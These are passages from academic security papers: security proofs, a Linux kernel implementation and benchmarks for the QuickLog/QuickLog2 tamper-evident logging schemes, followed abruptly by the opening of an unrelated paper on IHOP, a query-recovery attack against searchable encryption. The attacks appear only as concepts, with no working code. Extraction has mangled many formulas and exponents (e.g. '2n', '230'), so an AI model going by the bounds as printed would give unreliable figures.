as claimed.

The following result establishes the security bound for
QuickLog in the special case that F is the Even-Mansour
construction EM[π] and G is XMAC[π,τ].
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Corollary 4.2. Let π : {0,1}n → {0,1}n be a permutation
that we will model as an ideal permutation. Let F be the
Even-Mansour construction EM[π], and let G be XMAC[π,τ].
Consider an adversary A making q signing queries and at
most p ideal-permutation queries, and its messages are of at
most s blocks. Then

Advfa
QuickLog[F,G](A)≤ 6pq+4q2 +6sq

2n +
1
2τ

.

Proof. From Theorem 4.1, we can construct an adversary B
such that

Advfa
QuickLog[F,G](A)≤ q ·Advprf

F (B)+Advmu–mac1
G (A) .

Adversary B makes at most p + 2(q− 1) + s ideal-cipher
queries, and two PRF queries. From Lemma 2.1,

Advprf
F (B)≤ 2(p+2q+ s)

2n .

Moreover, from Theorem 3.2,

Advmu–mac1
G (A)≤ 4q(p+ s)

2n +
1
2τ

.

Summing up,

Advfa
QuickLog[F,G](A)≤ 6pq+4q2 +6sq

2n +
1
2τ

as claimed.

INTERPRETING THE BOUND. At the first glance, the bound
in Corollary 4.2 looks like a typical birthday bound (also
known as 64-bit security) of many NIST standards, such as
GCM [21]. However, a closer look reveals that it is much
stronger. Note that here q is the number of log messages in a
single auditing round. It is reasonable to assume that q≤ 230,
as a study by Ma et al. [35] observes just 2.76 million logging
events per day on average for a web server under realistic
conditions. Under this assumption, for n = 128 (the block
length of AES), the bound is roughly (p+ s)/296, meaning
that we actually have 96-bit security.

REMARK. Had we followed the route in [14] to reduce the
forward authenticity of QuickLog to the single-user one-time
MAC security of XMAC, we would have ended up with an
interior term q/2τ. Our approach instead yields a much better
term 1/2τ. This allows one to use a short tag length (say 8
bytes) for QuickLog, saving storage cost.

4.3 The KennyLoggings System
A GLANCE AT KENNYLOGGINGS. KennyLoggings [38]
also follows the blueprint of Bellare and Yee [14], but the
state Si and the key Ki are conflated. In particular, one derives

Ki← H(Ki−1) via a cryptographic hash function H that is in-
stantiated via Blake2b [4]. To sign a message M under key K,
one uses a PRF that is instantiated from SipHash [3].

To speed up performance, KennyLoggings pre-computes
200,000 keys, and refills when half of the keys are used and
deleted. As a result, KennyLoggings has to erase a prior key
by, say writing zeros to this memory location. One has to be
careful to ensure that a compiler will not remove these seem-
ingly useless writes [46]. In contrast, QuickLog maintains
just a single key and state, and during an update, it writes
the new key and state to the memory location of the old one.
Since the new key and state will be used later, this naturally
avoids compilers’ optimization of eliminating dead stores.3

A GLITCH IN KENNYLOGGINGS. While Paccagnella et
al. [38] claim that KennyLoggings inherits the security proof
from the work of Bellare and Yee [14], the conflation of the
key and state actually voids the security guarantee from [14].
One can still justify the security of KennyLoggings by mod-
eling Blake2b as a (programmable) random oracle (instead
of a pseudorandom generator as in [14]), but the proof is
non-trivial.

5 QuickLog2: Aggregate Authentication

The syntax of logging protocols in Section 4.1 requires that
each log message has a corresponding τ-bit tag. This substan-
tially increases the costs of storing the logs and transmitting
them to the auditor. In this section, we formalize the syntax
and security definition for logging protocols with aggregate
authentication [33]. In such a logging protocol, there is only
a single τ-bit aggregate tag to authenticate all log messages,
cutting costs in storage and transmission of the logs. Even bet-
ter, the use of aggregate authentication can directly thwart the
truncation attack without employing additional mechanisms
as suggested in [38]. We then show how to extend QuickLog
to another scheme QuickLog2 of aggregate authentication
with negligible overheads.

5.1 Formalizing Security

SYNTAX. A logging protocol Π with aggregate authen-
tication consists of a triple of deterministic algorithms
(Update,Sign,Merge) and is associated with a state space S
and a tag length τ.

• Initially, a root state S0←$ S is sampled and an aggregate
tag T is initialized to 0τ. Derive (K1,S1)← Update(S0),
share S0 with the auditor, and erase S0 from the host’s
memory.

3KennyLoggings cannot use the new keys to overwrite the old ones. In
particular, key erasure has to be performed immediately after each sign-
ing. Thus the signing thread of KennyLoggings cannot wait until its key-
generating thread to wake up to overwrite the old keys.
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Game Gfa2
Π

(A)

(M1, . . . ,Mq,σ)←$ A ; S0←$ S
T ← Agg(S0,M1, . . . ,Mq)

(M′1, . . . ,M
′
r,T
′)←$ A(Sq,T,σ)

T ∗← Agg(S0,M′1, . . . ,M
′
r)

If r < q then return (T ∗ = T ′)
Else return (T ∗ = T ′)∧ ((M1, . . . ,Mq) ̸= (M′1, . . . ,M

′
q))

procedure Agg(S0,M1, . . . ,Mv)

T ← 0τ

For i← 1 to v do
(Ki,Si)← Update(Si−1); Ti← Sign(Ki,Mi)

T ←Merge(T,Ti)

Return T

Figure 9: Game defining the FA2 security of a logging proto-
col Π with aggregate authentication.

• When we need to sign the i-th log message Mi, we retrieve
(Si,Ki) and generate the tag Ti← Sign(Ki,Mi). We then
update T ←Merge(T,Ti) and (Ki+1,Si+1)←Update(Si).
Finally, we delete (Ki,Si,Ti) from the host’s memory.

• Given a root state S0, messages (M1, . . . ,Mq), and an ag-
gregate tag T , an auditor can verify the integrity of these
logs by (1) initializing T ∗ ← 0τ, and (2) iteratively de-
riving (Ki,Si) ← Update(Si−1), Ti ← Sign(Ki,Mi), and
T ∗ ← Merge(T ∗,Ti) for every i ≤ q, and (3) checking
if the final T ∗ is the same as the given T .

DEFINING SECURITY. For an adversary A attacking a log-
ging protocol Π with aggregate authentication, we define its
advantage in breaking the forward aggregate authenticity
(FA2) of Π as

Advfa2
Π (A) = Pr[Gfa2

Π (A)] ,

where game Gfa2
Π
(A) is defined in Fig. 9. Initially the ad-

versary generates log messages (M1, . . . ,Mq) and an internal
state σ. The game then samples a state S0←$ S , and generates
the corresponding aggregate tag T for (M1, . . . ,Mq). The ad-
versary is then given back its internal state σ, the aggregate
tag T , and the state Sq to produce a forgery (M′1, . . . ,M

′
r,T
′).

It wins the game if (1) the forged tag T ′ is exactly the aggre-
gate tag of (M′1, . . . ,M

′
r) for the state S0, and (2) if r ≥ q then

we require (M1, . . . ,Mq) ̸= (M′1, . . . ,M
′
q) to avoid trivial wins.

We now give an intuition for why achieving the FA2 goal
makes the logs tamper-proof. Suppose that when the adver-
sary gets full control of the system, it obtains the state Sq (and
thus knows all the subsequent keys and states) and the current
aggregate tag T , but the system calls of its attack are already
recorded in the logs M1, . . . ,Mq. These messages are signed
under the (now deleted) keys K1, . . . ,Kq. Suppose that later an
auditor receives the tampered messages (M′1, . . . ,M

′
r) and an

aggregate tag T ′. The auditor will compute the corresponding

aggregate tag T ∗ of (M′1, . . . ,M
′
r) and compares it with T ′.

Without loss of generality, assume that if r ≥ q then we must
have (M′1, . . . ,M

′
q) ̸= (M1, . . . ,Mq), otherwise the auditor can

find out the intrusion. The FA2 notion ensures that T ′ ̸= T ∗

(even if the adversary performs a truncation attack, meaning
r < q), and thus the auditor can detect the tampering.

5.2 The QuickLog2 System
DESCRIPTION OF QUICKLOG2. A simple construction for
the Merge algorithm, suggested by Ma and Tsudik [33], is via
T ← H(T,Ti), where H is a collision-resistant hash function
such as SHA-2 or SHA-3. Unfortunately, if we incorporate
this method into QuickLog, it will significantly increase both
the signing and verification time. We instead use T ← T⊕Ti,
making the overhead of the aggregation negligible. Note that
under our approach, the verification algorithm is fully par-
allelizable. In contrast, the method of Ma and Tsudik [33]
forces the auditor to make a long chain of hashing.

The idea for the xor trick is from the work of Katz and Lin-
dell [28] for aggregating MAC signatures. Their mechanism
however has never been used for prior logging systems due to
an obvious attack. In particular, for prior designs, one evolves
keys over time intervals, and in each interval, multiple mes-
sages are signed under the same key. Thus the xor trick will
fail to detect if log messages of the same interval are reordered.
It however does work for our setting, as there is only a single
message to sign per key. Still, proving that this method can
cope with the truncation attack goes beyond what the abstrac-
tion of the xor trick in [28] can deliver. In particular, unlike
the the application in [28] that merely requires the individual
tags to be unpredictable, here we need them to be pseudoran-
dom.4 To realize this goal, we exploit the fact that XMAC is
a two-time PRF (as defined in Section 3.3).

Formally, we extend QuickLog to a scheme QuickLog2 of
aggregate authentication as shown in Fig. 10. The algorithms
Sign and Update of QuickLog2 remain the same as those
of QuickLog, and its Merge algorithm is built on top of the
xor trick. We stress that the primitive G is now required to be
a two-time PRF instead of merely a one-time MAC.

SECURITY OF QUICKLOG2. The following result shows that
QuickLog2 achieves FA2 security for generic F and G.

Theorem 5.1. Let F : K ×{0,1}n→{0,1}n be a PRF and
let G : {0,1}n×Dom→{0,1}τ be a two-time PRF. For an ad-
versary A making q signing messages and r forgery messages,
we can construct an adversaries B and D such that

Advfa2
QuickLog[F,G](A)≤ q ·Advprf

F (B)+q ·Advprf2
G (D)+

1
2τ

.

4To see why, observe that under the truncation attack, the adversary is
given the checksum T1⊕·· ·⊕Tq of the individual tags T1, . . . ,Tq. It then
needs to produce some r < q, together with T1⊕·· ·⊕Tr . Thus the tag Tq acts
as a one-time pad to protect T1, . . . ,Tq−1.
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procedure QuickLog2[F,G].Update(S)
S′← F(S, [0]n); K′← F(S, [1]n); Return (K′,S′)

procedure QuickLog2[F,G].Sign(K,M)

T ← G(K,M); Return T

procedure QuickLog2[F,G].Merge(T,Ti)

Return T⊕Ti

Figure 10: The logging protocol QuickLog2 with aggregate
authentication, built on top of a PRF F and a two-time PRF G.
Here for each integer a ∈ {0, . . . ,2n−1}, we let [a]n denote
an n-bit encoding of a.

Game Gu(A)

(M1, . . . ,Mq,σ)←$ A ; S0←$ S
T ← Agg(S0,M1, . . . ,Mq)

(M′1, . . . ,M
′
r,T
′)←$ A(Sq,T,σ)

T ∗← Agg(S0,M′1, . . . ,M
′
r)

If r < q then return (T ∗ = T ′)
Else return (T ∗ = T ′)∧ ((M1, . . . ,Mq) ̸= (M′1, . . . ,M

′
q))

procedure Agg(S0,M1, . . . ,Mv)

T ← 0τ

For i← 1 to v do
Ki← F(Si−1, [0]n); Si← F(Si−1, [1]n)
If (i > u) then Ki,Si←${0,1}n

Ti← G(Ki,Mi); T ← T⊕Ti
Return T

Figure 11: Game Gu in the proof of Theorem 5.1.

Adversary B runs A and makes 2(q−1) calls to F, q+r calls
to G on messages of A , plus two PRF queries. Adversary D
runs A and makes r+q−2 calls to G on r−1 forgery mes-
sages and q−1 signing messages of A , plus two PRF queries
on the remaining messages.

Proof. Since the adversary A receives the state Sq, it can
compute the subsequent keys Ki (with i > q). Thus with-
out loss of generality, we assume that A only generates at
most q forgery messages. Indeed, suppose that A outputs
(M′1, . . . ,M

′
r,T
′) with r > q. Then it could instead produce

(M′1, . . . ,M
′
q,T

′⊕Tq+1⊕·· ·⊕Tr) to win with the same advan-
tage, where Ti← G(Ki,M′i). Hence from now on, we assume
that r ≤ q. For each u ∈ {0, . . . ,q}, consider game Gu in
Fig. 11. Game Gq corresponds to game Gfa2

QuickLog2[F,G](A).
In contrast, in game G0, all the keys and states are sampled
uniformly at random.

We now construct the adversary B . It picks U←${1, . . . ,q}
and then runs A . It tries to simulate game GU (A), but will
use its own PRF oracle Fn to compute KU ← Fn([0]n) and
SU ←Fn([1]n). (Note that by storing KU and SU , adversary B

Game Pu(A)

(M1, . . . ,Mq,σ)←$ A ; S0←$ S ; T ← 0τ

For i← 1 to q do
Si,Ki←${0,1}n; Ti← Sign(i,Ki,Mi); T ← T⊕Ti

(M′1, . . . ,M
′
r,T
′)←$ A(Sq,T,σ); T ∗← 0τ

For i← 1 to r do
If M′i = Mi then T ∗i ← Ti else T ∗i ← Sign(i,Ki,M′i)
T ∗← T ∗⊕T ∗i

If r < q then return (T ∗ = T ′)
Else return (T ∗ = T ′)∧ ((M1, . . . ,Mq) ̸= (M′1, . . . ,M

′
q))

procedure Sign(i,K,M)

If i≤ u then V ← G(K,M) else V←${0,1}n

Return V

Figure 12: Game Pu in the proof of Theorem 5.1.

only needs to make two PRF queries.) Then

Advprf
F (B) = EU←${1,...,q}

[
Pr[GU (A)]−Pr[GU−1(A)]

]
=

1
q

q

∑
u=1

Pr[Gu(A)]−Pr[Gu−1(A)]

=
1
q

(
Pr[Gq(A)]−Pr[G0(A)]

)
=

1
q

(
Advfa2

QuickLog2[F,G](A)−Pr[G0(A)]
)

.

To bound Pr[G0(A)], consider games Pu in Fig. 12 for every
u ∈ {0, . . . ,q}. Game Pq coincides with game G0, whereas
in game P0, all the individual tags are sampled uniformly at
random, subject to the condition that if M′i = Mi then they
will have the same individual tag. Note that in game P0, the
correct aggregate tag T ∗ of the forgery messages is uniformly
random over {0,1}τ, independent of whatever the adversary A
receives. Thus the chance that it can guess T ∗ correctly is 2−τ.
In other words, Pr[P0(A)] = 2−τ.

We now construct an adversary D. It picks U←${1, . . . ,q}
and then runs A . It tries to simulate game PU (A), but uses its
PRF oracle to sign messages MU and M′U . If the simulated
game returns true then D returns 1, otherwise it returns 0.
Note that if G is built on top of ideal primitives (as in the case
of XMAC) then this constructed adversary D will not query
them after the second PRF query. Then

Advprf2
G (D) = EU←${1,...,q}

[
Pr[PU (A)]−Pr[PU−1(A)]

]
=

1
q

q

∑
u=1

Pr[Pu(A)]−Pr[Pu−1(A)]

=
1
q

(
Pr[Pq(A)]−Pr[P0(A)]

)
=

1
q

(
Pr[G0(A)]− 1

2τ

)
.
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Summing up,

Advfa2
QuickLog2[F,G](A) = q ·Advprf

F (B)+q ·Advprf2
G (D)+

1
2τ

as claimed.

In the case that F is the Even-Mansour construction EM[π]
and G is XMAC[π,τ], the following result derives the secu-
rity bound for QuickLog2. The bound is comparable to that
of QuickLog; that is, QuickLog2 also has 96-bit of security
under the assumption that q≤ 230.

Corollary 5.2. Let π : {0,1}n → {0,1}n be a permutation
that we will model as an ideal permutation. Let F be the
Even-Mansour construction EM[π], and let G be XMAC[π,τ].
Consider an adversary A making q signing queries and at
most p ideal-permutation queries, and its messages are of at
most s blocks. Then

Advfa2
QuickLog2[F,G](A)≤ 6pq+4q2 +8sq

2n +
1
2τ

.

Proof. From Theorem 5.1, we can construct an adversaries
B and D such that

Advfa2
QuickLog2[F,G](A)≤ q ·Advprf

F (B)+q ·Advprf2
G (D)+

1
2τ

.

Adversary B makes at most p + 2(q− 1) + s ideal-cipher
queries, and two PRF queries. Adversary D makes at most
p+s ideal-cipher queries, plus at most two PRF queries whose
total block length is at most s. From Lemma 2.1,

Advprf
F (B)≤ 2(p+2q+ s)

2n .

Moreover, from Proposition 3.5,

Advprf2
G (D)≤ 4(p+ s)+2s

2n =
4p+6s

2n .

Summing up,

Advfa2
QuickLog2[F,G](A)≤ 6pq+4q2 +8sq

2n +
1
2τ

as claimed.

6 Implementation

We implement both QuickLog and QuickLog2 on the Linux
kernel, version 3.10.0-1160, on top of Linux Audit, the stan-
dard system log collection framework of Linux. Below, we
will briefly review the architecture of the Audit system.

THE AUDIT SYSTEM. The Audit system consists of two main
components: kauditd (in the kernel) and auditd (in the user
space). It applies a (rule-based) audit filter on each system

call to check if a log is needed. The log message, if created,
will be put into a buffer. Later, kauditd will asynchronously
dequeue messages from the buffer and send them to auditd
to create log entries. The race attack in [38] takes advantage
of this asynchronous processing to modify a log message
before it is committed to the log entries. To thwart this attack,
following the approach in [38], we will sign each log message
before it enters the buffer.

IMPLEMENTING QUICKLOG. In QuickLog, the initial 16-
byte state S0 is generated via the get_random_bytes func-
tion, a cryptographically secure source of randomness. At
system startup, QuickLog will initialize S0 and then derive
the subsequent key-state pair (K1,S1). To do that, we modify
the code of the audit_init function, which initializes the
kernel components of Linux Audit.

We modify the code of the audit_log_end function to sign
log messages right before they enter the buffer. In addition, we
extend the spinlock that protects the existing critical section of
the audit_log_end function to cover the signing operation.

As described in Fig. 7, QuickLog is based on a PRF and
a one-time MAC; the former is instantiated from the Even-
Mansour construction EM[π] and the latter from XMAC[π,τ].
Here the permutation π is AES-128 with the all-zero key, and
the tag length τ is 64 (the same length as KennyLoggings).
The tag length is somewhat short, compared to standard MAC
constructions, but it is justified in Section 4.

The implementation of XMAC makes use of the Intel’s SIMD
vector extension and the AES-NI instruction set to maxi-
mize the speed.5 Unfortunately, such use inside the kernel
requires one to save the values of all floating-point unit reg-
isters via kernel_fpu_begin, and later restore them via
kernel_fpu_end. This incurs a penalty of 100–120 ns for
each signing operation. The verification operation is however
implemented in the user space and is therefore not affected.

On the other hand, note that one is given lots of message-tag
pairs to verify. By exploiting the pipelining of AES-NI, we
improve the amortized speed of the verification operation.

IMPLEMENTING QUICKLOG2. Unlike QuickLog, for
QuickLog2 we do not have to write individual tags Ti to the
user space. We instead maintain a single aggregate tag T
in the memory, and update T ← T⊕Ti when Ti is available.
Since we only need to store a single aggregate tag, we use
the full tag length τ = 128 for QuickLog2.

7 Experiments

In this section, we measure and compare the performance
of QuickLog, QuickLog2, and the optimized version of

5Since our experimental machine does not support 256-bit and 512-bit
VAES, we use 128-bit AES-NI in the implementation. It is expected that
using 256-bit or 512-bit VAES in newer CPUs will further improve the
performance of QuickLog.
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KennyLoggings (that has key precomputation). The unmodi-
fied Linux kernel (version 3.10.0-1160) is used as the baseline.

EXPERIMENT SETUP. We run experiments on a server with
two Intel Xeon Gold 6240 processors. Each processor has 18
cores and 2.60 GHz base frequency. The server runs CentOS
7.8 with Linux 3.10.0-1160 kernel and has 192GB of DDR4
RAM. Following [38], we configure Linux Audit to log all
forensics-related system calls via the same ruleset in [34, 37],
and use a buffer whose capacity is 220 entries. We however
add an additional rule to filter proctitle logs, as the information
they provide is redundant [42]:

• A proctitle log is supposed to record the full command
line that triggers the corresponding log event. But if the
corresponding process is invoked from, say a bash shell,
then the corresponding proctitle log only records “bash”.

• In the case that proctitle logs can capture the command-
line information, this can also be found in the entries of
execve syscall.

In fact, proctitle logs are never intended to have any forensic
significance. A Linux kernel announcement [41] explicitly
warns that:

“Proctitle is controllable by userspace, and thus should
not be trusted. It is meant as an aid to assist in debugging.”

In the NAS benchmarks [5], the size of proctitle logs con-
centrates around 77B. Ridding them bumps the average log
size from 199B to 310B, passing the break-even point 256B
between QuickLog and KennyLoggings.

7.1 Microbenchmarks
HOW WE BENCHMARK. We first evaluate the application-
independent performance of the Sign and Verify opera-
tions of QuickLog and QuickLog2, and compare that to
KennyLoggings. To eliminate the effect of the spinlock on
the Sign operation, we implement a kernel module and manu-
ally execute the Sign operations in that module. We measure
the performance of each operation for several message sizes,
from 64B to 384B, which covers the typical log size in our
applications. For each message size, we run the operation
200,000 times and report the median latency; the standard
deviation is within 5% of the median.

For QuickLog, the reported running time of the Sign opera-
tion is the total time to sign a message, update the key and
state, and append the tag to the log. The running time of the
Verify operation however only includes the signing and up-
dating time. For the Sign/Verify operations of QuickLog2,
the running time consists of the signing time and the time
to update the key, state, and aggregate tag. For the Sign op-
eration of KennyLoggings, we report the total time to sign a
message, erase the current key, and append the tag to the log;
key precomputation cost is ignored. For the Verify operation

of KennyLoggings, the running time includes both the sign-
ing and the key generation cost, since keys now have to be
computed on the fly.

RESULTS. The experiment results are in Table 1 and Table 2.
For the Sign operation, due to an FPU context-switching
penalty, QuickLog is slightly slower than KennyLoggings on
small data (256B and below). Once data are large enough
so that the penalty is no longer the dominant cost, QuickLog
starts to outperform KennyLoggings, but the performance gap
is small for the typical log sizes. QuickLog2 is however much
faster than both QuickLog and KennyLoggings for all mes-
sage sizes, because it avoids appending tags to log messages.

The Verify operation of QuickLog is implemented in the user
space, and does not bear the context-switching penalty. More-
over, thanks to the pipelining of AES-NI, one can improve
the amortized cost of QuickLog’s verification by exploiting
the fact that there are lots of data to verify. For example, it
takes a naive implementation 95 ns to verify a 256-byte mes-
sage, but our optimized code only needs 73 ns. QuickLog2
has about the same verification cost as QuickLog, because it
only adds an extra xor operation. On the other hand, the verifi-
cation of KennyLoggings includes the (somewhat expensive)
key generation. As a result, for verification, KennyLoggings
is 6–8 times slower than QuickLog/QuickLog2 for all mes-
sage sizes.

64B 128B 256B 320B 384B

KennyLoggings 276 307 362 391 417
QuickLog 325 348 366 386 403
QuickLog2 169 187 205 225 242

Table 1: Latencies (in ns) for the Sign operation.

64B 128B 256B 320B 384B

KennyLoggings 417 462 529 576 601
QuickLog 44 53 73 91 98

Table 2: Latencies (in ns) for the Verify operation. QuickLog2
has exactly the same timing as QuickLog.

7.2 System-call Benchmarks
HOW WE BENCHMARK. Next, we measure the effect of
QuickLog,QuickLog2, and KennyLoggings on the execution
time of individual system calls when logging is enabled. We
first run the system calls on a single thread to measure the
added latency. We then run those on multiple (4, 8, and 16)
threads to study the effect on the spinlock contention as well
as the overall additional work.

We choose the following system calls in our experiments:
open (342-byte logs), read (280-byte logs), write (284-byte
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Figure 13: The relative overhead of QuickLog, QuickLog2,
and KennyLoggings on system-call latency, compared to the
unmodified Linux kernel.

.

logs), and stat (304-byte logs). They are also used in [38] to
evaluate KennyLoggings. Following [38], in the experiments,
each thread will make the system call 100,000 times and
the median latency is computed; the standard deviation is

within 5% of the median. Based on these median timings,
we report the relative overhead of QuickLog,QuickLog2, and
KennyLoggings compared to the unmodified Linux kernel.

RESULTS. The benchmark results are shown in Fig. 13. When
there is just a single thread, KennyLoggings has similar
performance as QuickLog, because their signing costs are
comparable for the log sizes in the benchmarks. As more
cores are used, the performance gap between QuickLog and
KennyLoggings widens. To understand this phenomenon, re-
call that KennyLoggings hides the (somewhat expensive) cost
of key generation from the critical path by using an additional
kernel thread. The cost of key generation is negligible if there
are only a few threads, but it will be manifest in busy multi-
threading environment. In contrast, QuickLog has no hidden
computation, and is therefore more efficient in multi-threading
environments. On the other hand, as expected, QuickLog2 sig-
nificantly reduces the overhead, compared to both QuickLog
and KennyLoggings.

7.3 Application Benchmarks

HOW WE BENCHMARK. To understand the system-wide im-
pact of QuickLog,QuickLog2, and KennyLoggings in realis-
tic situations, we evaluate them using a number of application
benchmarks, including I/O-intensive benchmarks and CPU-
intensive benchmarks.

The first test suite consists of the following I/O-intensive
benchmarks: NGINX [26], apache2 [23], redis [30], and
HAProxy [24]; the first three benchmarks are also used in [38]
to evaluate KennyLoggings. Each experiment consists of 10
iterations; we compute the median running time of those and
make sure that the standard deviation is within 5% of the
median. In each iteration, we use apache bench (for NGINX,
apache2, and HAProxy) and redis-benchmark (for redis) to
send 30,000 serial requests locally within the same machine.
Based on the median timings, we report the relative over-
head of QuickLog, QuickLog2, and KennyLoggings over the
unmodified Linux kernel.

The second test suite consists of CPU-intensive programs
from the NAS parallel benchmarks [5]. The High Perfor-
mance Computing (HPC) workloads in the NAS parallel
benchmarks allow us to evaluate the three secure logging
systems in a realistic multi-threading environment. We run
the CG, FT, MG, LU, BT, SP, and IS programs from the NAS
parallel benchmarks on a single node. The problem size for
all the benchmarks is Class A. BT and SP use 36 processes
because these two programs require a perfect square number
of processes. All other benchmarks use 32 processes because
they require the number of processes to be a power of two.
We perform each experiment 20 times, and report the median
execution time as well as the corresponding relative overhead
over the unmodified Linux kernel. For all cases, the standard
deviation is within 5% of the reported median.
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Events/second KennyLoggings QuickLog QuickLog2

NGINX 10,623 10.7 9.4 5.7
apache2 11,087 9.5 7.3 4.4
HAProxy 10,127 9.6 7.7 5.1
redis 3,223 8.8 8.1 5.9

Table 3: The relative overhead (%) of QuickLog, QuickLog2, and KennyLoggings compared to the unmodified Linux kernel in
I/O-intensive benchmarks, together with the number of log events per second that they sign.

Vanilla Linux KennyLoggings QuickLog QuickLog2
Time (s) Time (s) Overhead (%) Time (s) Overhead (%) Time (s) Overhead (%)

CG 0.19 0.22 12.50 0.21 9.37 0.2 3.65
FT 0.39 0.44 12.66 0.41 6.46 0.40 3.36
MG 0.23 0.27 14.22 0.26 9.90 0.24 5.17
LU 1.47 1.63 11.54 1.54 5.12 1.50 2.66
BT 1.85 2.02 9.52 1.95 5.52 1.91 3.46
SP 1.54 1.79 14.78 1.65 5.31 1.61 3.26
IS 0.20 0.23 15.50 0.22 8.51 0.21 4.00

Table 4: Median execution time of QuickLog, QuickLog2, and KennyLoggings with their relative overhead compared to the
unmodified Linux kernel in the NAS parallel benchmarks.

RESULTS FOR I/O-INTENSIVE BENCHMARKS. The results
of the I/O-intensive benchmarks are shown in Table 3; the per-
formance of KennyLoggings is consistent with the reported
results in [38]. In all cases, QuickLog just slightly outper-
forms KennyLoggings because (1) their signing costs are
comparable for the range of log sizes,6 and (2) the key gen-
eration cost of KennyLoggings is negligible if an application
uses only one or two threads, as reported in [38]. On the other
hand, the signing time of QuickLog2 is at least 1.6 times
faster than QuickLog for the log sizes in the benchmarks. As
a result, QuickLog2’s overhead is roughly 1.6 times smaller
than that of QuickLog, for most cases.

RESULTS FOR CPU-INTENSIVE BENCHMARKS. The re-
sults for the NAS benchmarks are shown in Table 4. The
overhead of KennyLoggings is more substantial in the busy
multi-threading environment, as the hidden cost of key com-
putation is now manifest. The average log message size is
310B in these programs; and most message sizes are be-
tween 296B and 388B. The signing latencies of QuickLog and
KennyLoggings are comparable for these message sizes as
shown in Table 1. Yet for most benchmarks, QuickLog’s over-
head is roughly half of that of KennyLoggings. Again, recall
that the signing cost of QuickLog2 is at least 1.6 times faster
than QuickLog for these log sizes. As a result, QuickLog2’s
overhead is at least 1.6 times smaller than that of QuickLog
for all cases.

6The majority (83.2%) of log messages are from 281B to 339B; the
remaining messages are rather short, from 60B to 165B.

8 Conclusion

In this work, we build a secure logging system QuickLog2
that improves the state of the art, KennyLoggings [38], in
several fronts: adoptability, performance, and security. Our
implementation is open source and available at https://
github.com/TsongW/QuickLog.git.

To achieve the goals above, we introduce a new cryptographic
primitive, one-time MAC, and realize it efficiently via the
XMAC construction. While XMAC resembles the XOR-MAC
construction [8], XMAC is simpler and faster because (i) it
only needs to authenticate a single message per key, and (ii)
it is built on top of AES with a fixed key, avoiding the cost of
key setup and disrupting the AES-NI pipeline. We also realize
that the xor trick in [28] can be used to aggregate MAC tags
in our setting.

Our paper brings us another step forward in protecting system
logs of Linux machines. Studying how to mount the race at-
tack of [38] on Windows-based logging systems and building
a Windows version of QuickLog2 is an important task for
future work.
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Abstract
Effective query recovery attacks against Searchable Sym-
metric Encryption (SSE) schemes typically rely on auxil-
iary ground-truth information about the queries or dataset.
Query recovery is also possible under the weaker statistical
auxiliary information assumption, although statistical-based
attacks achieve lower accuracy and are not considered a seri-
ous threat. In this work we present IHOP, a statistical-based
query recovery attack that formulates query recovery as a
quadratic optimization problem and reaches a solution by
iterating over linear assignment problems. We perform an
extensive evaluation with five real datasets, and show that
IHOP outperforms all other statistical-based query recovery
attacks under different parameter and leakage configurations,
including the case where the client uses some access-pattern
obfuscation defenses. In some cases, our attack achieves al-
most perfect query recovery accuracy. Finally, we use IHOP
in a frequency-only leakage setting where the client’s queries
are correlated, and show that our attack can exploit query de-
pendencies even when PANCAKE, a recent frequency-hiding
defense by Grubbs et al., is applied. Our findings indicate
that statistical query recovery attacks pose a severe threat to
privacy-preserving SSE schemes.

1 Introduction

Searchable Symmetric Encryption (SSE) schemes [37] allow
a client to securely outsource a dataset to a cloud-storage
provider, while still being able to perform secure queries
over the dataset. Efficient SSE schemes [2, 4, 5, 8, 17, 19, 23,
24, 28, 30, 38] typically leak certain information during their
initialization step or querying process, that an honest-but-
curious service provider could exploit to recover the database
or guess the client’s queries. This leakage typically consists
of the access pattern, which refers to the identifiers of the
documents that match a query, and the search pattern, which
refers to whether or not two queries are identical.

There are many attacks that exploit access and search pat-
tern leakage, as well as auxiliary information, to either re-

cover the underlying keywords of the client’s queries, or the
dataset itself. In this work, we study passive query recov-
ery attacks [1, 3, 9, 18, 26, 29, 31, 34] against SSE schemes
that provide keyword query functionality. Namely, the dataset
is a set of documents, each labeled with a list of keywords,
and the client wants to be able to query for all the docu-
ments that match a particular keyword. The adversary is an
honest-but-curious service provider that follows the SSE pro-
tocol, but might want to infer the keywords of the client’s
queries from passively observing the system. We can broadly
classify passive query recovery attacks depending on the na-
ture of their auxiliary information into attacks that assume
partial ground-truth knowledge about the dataset and/or the
underlying keywords of the client’s queries (ground-truth
attacks) [1, 3, 9, 18, 29], and those that only require sta-
tistical information about the keyword distribution in the
dataset and the client’s querying behavior (statistical-based
attacks) [18, 31, 34]. Previous work has shown that ground-
truth attacks can achieve high query recovery rates [1, 9, 29],
and thus pose a significant privacy threat to SSE schemes.
Statistical-based attacks achieve lower query recovery accu-
racy, since they rely on a weaker auxiliary information as-
sumption, although they are easier to adapt against access and
search-pattern defense techniques [31].

In this work we focus on statistical-based query recov-
ery attacks. The strongest attacks from this family are
GraphM by Pouliot and Wright [34] and SAP by Oya and Ker-
schbaum [31]. GraphM performs query recovery by heuristi-
cally solving a quadratic optimization problem. This attack ex-
ploits the so-called volume co-occurrence information, which
refers to how many documents two queries have in com-
mon, but uses the expensive PATH algorithm [42], and thus
only works when the keyword universe size is small. On the
other hand, SAP [31] efficiently solves a linear problem using
individual keyword volume information as well as query fre-
quency information, but cannot take into account volume co-
occurrence. In this paper, we propose a new statistical-based
query recovery attack, that we call IHOP since it follows an It-
erative Heuristic algorithm to solve a quadratic Optimization
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Problem. IHOP can be used with any quadratic objective func-
tion, and thus it can combine volume and frequency leakage in-
formation like SAP [31], exploit volume co-occurrence terms
like GraphM [34], and is the first attack to exploit frequency
co-occurrence terms. We use IHOP to optimize a maximum-
likelihood-based objective function, and evaluate our attack
in five real datasets under different settings. First, we consider
the case where the adversary only uses volume leakage, where
GraphM is state-of-the-art. We show that, both in SSE schemes
that fully leak the access patterns during initialization [17,24]
and in those that (at least) leak the access pattern of those
keywords that are queried [2, 4, 5, 8, 19, 23, 28, 30, 38], IHOP
consistently outperforms GraphM, achieving higher accuracy
while being orders of magnitude faster (e.g., IHOP achieves
≈ 99% accuracy on Lucene dataset with n = 1000 keywords
and finishes in 15 minutes, while GraphM is achieves ≈ 56%
accuracy and takes almost three days to finish). Second, we
consider the case where the adversary uses frequency leak-
age and the client sends queries independently, where SAP is
state-of-the-art. We show that IHOP comfortable outperforms
SAP and all other attacks, even in the case where the client
uses two access-pattern-hiding defenses [6, 36].

Finally, we show that IHOP can also exploit query correla-
tions in query recovery. For this, we consider a case where the
client queries dataset entries individually and thus the attack
must rely on query frequency information only. PANCAKE,
a system proposed by Grubbs et al. [13], provably ensures
that the frequency of access to each dataset entry is the same.
